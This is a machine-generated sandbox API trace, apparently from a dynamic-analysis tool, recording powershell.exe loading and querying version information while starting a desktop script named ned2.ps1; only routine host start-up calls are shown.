# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 03.10.2020 16:53:39.251 Process: id = "1" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x468a3000" os_pid = "0xaf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -File \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xaac [0050.066] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0050.529] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0050.529] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0050.529] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0050.529] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0051.147] GetVersionExW (in: lpVersionInformation=0x22de40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x22de40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.149] GetVersionExW (in: lpVersionInformation=0x22de40*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x22de40*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22da60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.169] GetVersionExW (in: lpVersionInformation=0x22dbb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x22dbb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.170] SetErrorMode (uMode=0x1) returned 0x1 [0051.171] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x22dd10 | out: lpFileInformation=0x22dd10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0051.172] SetErrorMode (uMode=0x1) returned 0x1 [0051.176] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x22df80 | out: lpdwHandle=0x22df80) returned 0x94c [0051.192] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2b96ff8 | out: lpData=0x2b96ff8) returned 1 [0051.196] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x22def8, puLen=0x22def0 | out: lplpBuffer=0x22def8*=0x2b97094, puLen=0x22def0) returned 1 [0051.201] lstrlenW (lpString="䅁") returned 1 [0051.215] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b97170, puLen=0x22de60) returned 1 [0051.216] lstrlenW (lpString="Microsoft Corporation") returned 21 [0051.219] CoTaskMemAlloc (cb=0x2e) returned 0x175c10 [0051.219] lstrcpyW (in: lpString1=0x175c10, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0051.221] CoTaskMemFree (pv=0x175c10) [0051.221] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b971c4, puLen=0x22de60) returned 1 [0051.221] lstrlenW (lpString="System.Management.Automation") returned 28 [0051.221] CoTaskMemAlloc (cb=0x3c) returned 0x17a700 [0051.221] lstrcpyW (in: lpString1=0x17a700, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0051.221] CoTaskMemFree (pv=0x17a700) [0051.222] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b97220, puLen=0x22de60) returned 1 [0051.222] lstrlenW (lpString="6.1.7601.17514") returned 14 [0051.222] CoTaskMemAlloc (cb=0x20) returned 0x1803d0 [0051.222] lstrcpyW (in: lpString1=0x1803d0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0051.222] CoTaskMemFree (pv=0x1803d0) [0051.222] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b97260, puLen=0x22de60) returned 1 [0051.222] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0051.222] CoTaskMemAlloc (cb=0x44) returned 0x17a700 [0051.222] lstrcpyW (in: lpString1=0x17a700, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0051.222] CoTaskMemFree (pv=0x17a700) [0051.222] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b972c8, puLen=0x22de60) returned 1 [0051.222] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0051.222] CoTaskMemAlloc (cb=0x76) returned 0x11b130 [0051.222] lstrcpyW (in: lpString1=0x11b130, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0051.222] CoTaskMemFree (pv=0x11b130) [0051.222] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b97364, puLen=0x22de60) returned 1 [0051.222] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0051.222] CoTaskMemAlloc (cb=0x44) returned 0x17a700 [0051.222] lstrcpyW (in: lpString1=0x17a700, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0051.222] CoTaskMemFree (pv=0x17a700) [0051.222] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b973c8, puLen=0x22de60) returned 1 [0051.222] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0051.222] CoTaskMemAlloc (cb=0x58) returned 0xde1a0 [0051.223] lstrcpyW (in: lpString1=0xde1a0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0051.223] CoTaskMemFree (pv=0xde1a0) [0051.223] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b97444, puLen=0x22de60) returned 1 [0051.223] lstrlenW (lpString="6.1.7601.17514") returned 14 [0051.223] CoTaskMemAlloc (cb=0x20) returned 0x1803d0 [0051.223] lstrcpyW (in: lpString1=0x1803d0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0051.223] CoTaskMemFree (pv=0x1803d0) [0051.223] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x2b970ec, puLen=0x22de60) returned 1 [0051.223] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0051.223] CoTaskMemAlloc (cb=0x66) returned 0xeb3e0 [0051.223] lstrcpyW (in: lpString1=0xeb3e0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0051.223] CoTaskMemFree (pv=0xeb3e0) [0051.223] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x0, puLen=0x22de60) returned 0 [0051.223] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x0, puLen=0x22de60) returned 0 [0051.223] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x22de68, puLen=0x22de60 | out: lplpBuffer=0x22de68*=0x0, puLen=0x22de60) returned 0 [0051.223] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x22de38, puLen=0x22de30 | out: lplpBuffer=0x22de38*=0x2b97094, puLen=0x22de30) returned 1 [0051.225] CoTaskMemAlloc (cb=0x204) returned 0x124240 [0051.225] VerLanguageNameW (in: wLang=0x0, szLang=0x124240, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0051.226] CoTaskMemFree (pv=0x124240) [0051.227] VerQueryValueW (in: pBlock=0x2b96ff8, lpSubBlock="\\", lplpBuffer=0x22de88, puLen=0x22de80 | out: lplpBuffer=0x22de88*=0x2b97020, puLen=0x22de80) returned 1 [0051.235] GetCurrentProcessId () returned 0xaf8 [0051.257] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x22cdb0 | out: lpLuid=0x22cdb0*(LowPart=0x14, HighPart=0)) returned 1 [0051.263] GetCurrentProcess () returned 0xffffffffffffffff [0051.264] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x22cdd0 | out: TokenHandle=0x22cdd0*=0x2f4) returned 1 [0051.265] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x2b9a870*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0051.267] CloseHandle (hObject=0x2f4) returned 1 [0051.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaf8) returned 0x2f4 [0051.289] EnumProcessModules (in: hProcess=0x2f4, lphModule=0x2b9a8d8, cb=0x200, lpcbNeeded=0x22dde8 | out: lphModule=0x2b9a8d8, lpcbNeeded=0x22dde8) returned 1 [0051.292] GetModuleInformation (in: hProcess=0x2f4, hModule=0x13fa70000, lpmodinfo=0x2b9ab48, cb=0x18 | out: lpmodinfo=0x2b9ab48*(lpBaseOfDll=0x13fa70000, SizeOfImage=0x77000, EntryPoint=0x13fa7c63c)) returned 1 [0051.294] CoTaskMemAlloc (cb=0x804) returned 0x182350 [0051.294] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x13fa70000, lpBaseName=0x182350, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0051.295] CoTaskMemFree (pv=0x182350) [0051.297] CoTaskMemAlloc (cb=0x804) returned 0x182350 [0051.297] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x13fa70000, lpFilename=0x182350, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0051.297] CoTaskMemFree (pv=0x182350) [0051.298] CloseHandle (hObject=0x2f4) returned 1 [0051.310] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xaf8) returned 0x2f4 [0051.311] GetExitCodeProcess (in: hProcess=0x2f4, lpExitCode=0x22df18 | out: lpExitCode=0x22df18*=0x103) returned 1 [0051.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12b9b088, Length=0x20000, ResultLength=0x22dee0 | out: SystemInformation=0x12b9b088, ResultLength=0x22dee0*=0x11770) returned 0x0 [0051.343] EnumWindows (lpEnumFunc=0x29166ac, lParam=0x0) returned 0 [0051.344] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x538 [0051.344] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.345] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.345] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.345] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x514 [0051.345] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.345] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x778 [0051.345] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x778 [0051.345] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.346] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.347] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x458 [0051.347] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.347] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0x4ac [0051.347] GetWindowThreadProcessId (in: hWnd=0x30272, lpdwProcessId=0x22dc40 | out: lpdwProcessId=0x22dc40) returned 0xaac [0051.348] GetWindow (hWnd=0x30272, uCmd=0x4) returned 0x0 [0051.349] IsWindowVisible (hWnd=0x30272) returned 1 [0051.355] WerSetFlags () returned 0x0 [0051.366] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0051.366] CoTaskMemFree (pv=0x0) [0051.367] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x22dfa8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x22dfa0 | out: pulNumLanguages=0x22dfa8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x22dfa0) returned 1 [0051.367] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x22dfa8, pwszLanguagesBuffer=0x2bc1dd0, pcchLanguagesBuffer=0x22dfa0 | out: pulNumLanguages=0x22dfa8, pwszLanguagesBuffer=0x2bc1dd0, pcchLanguagesBuffer=0x22dfa0) returned 1 [0051.375] CoTaskMemAlloc (cb=0x24) returned 0x180520 [0051.375] GetUserDefaultLocaleName (in: lpLocaleName=0x180520, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0051.376] CoTaskMemFree (pv=0x180520) [0051.426] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0051.426] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.426] CoTaskMemFree (pv=0x168700) [0051.429] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0051.429] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.429] CoTaskMemFree (pv=0x168700) [0051.432] CoTaskMemAlloc (cb=0x104) returned 0x168700 [0051.432] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168700, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.432] CoTaskMemFree (pv=0x168700) [0051.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22da10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.448] SetErrorMode (uMode=0x1) returned 0x1 [0051.448] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x22dc20 | out: lpFileInformation=0x22dc20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0051.448] SetErrorMode (uMode=0x1) returned 0x1 [0051.448] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x22de90 | out: lpdwHandle=0x22de90) returned 0x94c [0051.450] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2bc5660 | out: lpData=0x2bc5660) returned 1 [0051.451] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x22de08, puLen=0x22de00 | out: lplpBuffer=0x22de08*=0x2bc56fc, puLen=0x22de00) returned 1 [0051.451] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc57d8, puLen=0x22dd70) returned 1 [0051.451] lstrlenW (lpString="Microsoft Corporation") returned 21 [0051.451] CoTaskMemAlloc (cb=0x2e) returned 0x1831f0 [0051.452] lstrcpyW (in: lpString1=0x1831f0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0051.452] CoTaskMemFree (pv=0x1831f0) [0051.452] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc582c, puLen=0x22dd70) returned 1 [0051.452] lstrlenW (lpString="System.Management.Automation") returned 28 [0051.452] CoTaskMemAlloc (cb=0x3c) returned 0x184690 [0051.452] lstrcpyW (in: lpString1=0x184690, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0051.452] CoTaskMemFree (pv=0x184690) [0051.452] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc5888, puLen=0x22dd70) returned 1 [0051.452] lstrlenW (lpString="6.1.7601.17514") returned 14 [0051.452] CoTaskMemAlloc (cb=0x20) returned 0x180580 [0051.452] lstrcpyW (in: lpString1=0x180580, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0051.452] CoTaskMemFree (pv=0x180580) [0051.452] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc58c8, puLen=0x22dd70) returned 1 [0051.452] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0051.452] CoTaskMemAlloc (cb=0x44) returned 0x184690 [0051.452] lstrcpyW (in: lpString1=0x184690, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0051.452] CoTaskMemFree (pv=0x184690) [0051.452] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc5930, puLen=0x22dd70) returned 1 [0051.452] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0051.452] CoTaskMemAlloc (cb=0x76) returned 0x11b130 [0051.452] lstrcpyW (in: lpString1=0x11b130, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0051.453] CoTaskMemFree (pv=0x11b130) [0051.453] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc59cc, puLen=0x22dd70) returned 1 [0051.453] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0051.453] CoTaskMemAlloc (cb=0x44) returned 0x184690 [0051.453] lstrcpyW (in: lpString1=0x184690, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0051.453] CoTaskMemFree (pv=0x184690) [0051.453] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc5a30, puLen=0x22dd70) returned 1 [0051.453] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0051.453] CoTaskMemAlloc (cb=0x58) returned 0xde0e0 [0051.453] lstrcpyW (in: lpString1=0xde0e0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0051.453] CoTaskMemFree (pv=0xde0e0) [0051.453] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc5aac, puLen=0x22dd70) returned 1 [0051.453] lstrlenW (lpString="6.1.7601.17514") returned 14 [0051.453] CoTaskMemAlloc (cb=0x20) returned 0x180580 [0051.453] lstrcpyW (in: lpString1=0x180580, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0051.453] CoTaskMemFree (pv=0x180580) [0051.453] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x2bc5754, puLen=0x22dd70) returned 1 [0051.453] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0051.453] CoTaskMemAlloc (cb=0x66) returned 0xeb220 [0051.453] lstrcpyW (in: lpString1=0xeb220, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0051.453] CoTaskMemFree (pv=0xeb220) [0051.453] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x0, puLen=0x22dd70) returned 0 [0051.454] VerQueryValueW (in: pBlock=0x2bc5660, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x22dd78, puLen=0x22dd70 | out: lplpBuffer=0x22dd78*=0x0, puLen=0x22dd70) returned 0 